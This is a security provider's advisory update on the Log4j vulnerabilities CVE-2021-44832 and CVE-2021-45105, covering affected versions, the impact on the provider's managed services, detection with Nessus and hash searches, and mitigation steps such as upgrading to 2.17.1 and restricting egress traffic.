On December 28th, Apache confirmed yet another vulnerability (CVE-2021-44832) that affects Log4j 2.0-beta7 to 2.17.0 (excluding 2.3.2 and 2.12.4). This is a new remote code execution vulnerability that requires an attacker to have permissions to modify the logging configuration file in order to be exploited. Apache has released Log4j 2.17.1 to fix this and previous vulnerabilities (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105).

December 16th, 2021 (CVE-2021-45105)
On December 16th, Apache confirmed another vulnerability (CVE-2021-45105) that affects Log4j 2.0-alpha1 to 2.16.0 (excluding 2.12.3). It has been discovered that certain non-default configurations could allow attackers to perform a denial-of-service attack. Apache has released Log4j 2.17.0 to fix this and previous vulnerabilities associated with CVE-2021-44228 and CVE-2021-45046

SecurIT360 Managed Services ImpactAccording to FortiNET, FortiSIEM is listed as one of their applications that is impacted by Log4j.  We have followed the recommended mitigation steps across our FortiSIEM infrastructure.  Access to our FortiSIEM product externally is controlled by IP whitelisting, therefore only approved IP addresses can communicate with our environment by design. Their advisory page for this exploit is here for reference.
For Carbon Black, we use their cloud product and do not utilize any on-prem servers; therefore, it is not vulnerable to Log4j.  Their advisory page for this exploit is here for reference.
Detection of Vulnerable Log4j Versions

  • You can still utilize these detection methods that have been published to GitHub by security researchers
  • Nessus has released another updated plugin to help detect vulnerabilities associated with Log4j.  Our SOC analysts continue to run Nessus external vulnerability scans for all SecurIT360 MDR managed service clients as new plugins are released and will alert on successful findings.
    • So far, we have not detected any vulnerable versions via the external Nessus scans.  All scheduled routine external scans will continue to utilize this new plugin going forward.
    • An external scan is not enough, we do recommend utilizing the open-source tools mentioned above to detect all instances of Log4j in your environment.  Nessus plugins are also available for internal credentialed scans which can provide more thorough detection.
    • If you would like us to assist with Log4j detection utilizing Nessus Internal/External scanning please let us know and we can notify your account representative.
    • If you are a MDR managed client and would like us to update the external targets and rerun the scan or rerun the scan following a successful upgrade, please reach out via email to soc@securit360.com
  • A community-maintained list of known IPs associated with this exploit can be found here
    • All SecurIT360 MDR managed service clients are receiving alerts on permitted web traffic involving these known IP addresses
  • Hashes of vulnerable versions can also be found here for internal detection. Routine searches for these hashes are being conducted in Carbon Black across all SecurIT360 EDR managed service clients, we will alert on successful findings
    • All EDR managed service clients will be alerted to potential exploit activity if detected.

Recommended Mitigation Steps

  • Identify all applications in your environment that use Log4j and follow vendor guidance
  • Utilize open-source detection tools, Nessus, etc.
  • Upgrade to version Log4j 2.17.1 or later as soon as possible.
  • If upgrading is not feasible, we recommend following Apache’s mitigation guidance for Log4j 2.10 and later which can be found here
  • Restrict egress traffic to approved destinations at your firewall
    • IP Whitelisting
    • Restrict the types of traffic going out such as LDAP
  • Consider preemptively blocking known IPs associated with this exploit at your firewall
  • CSV format
  • TXT Format

Links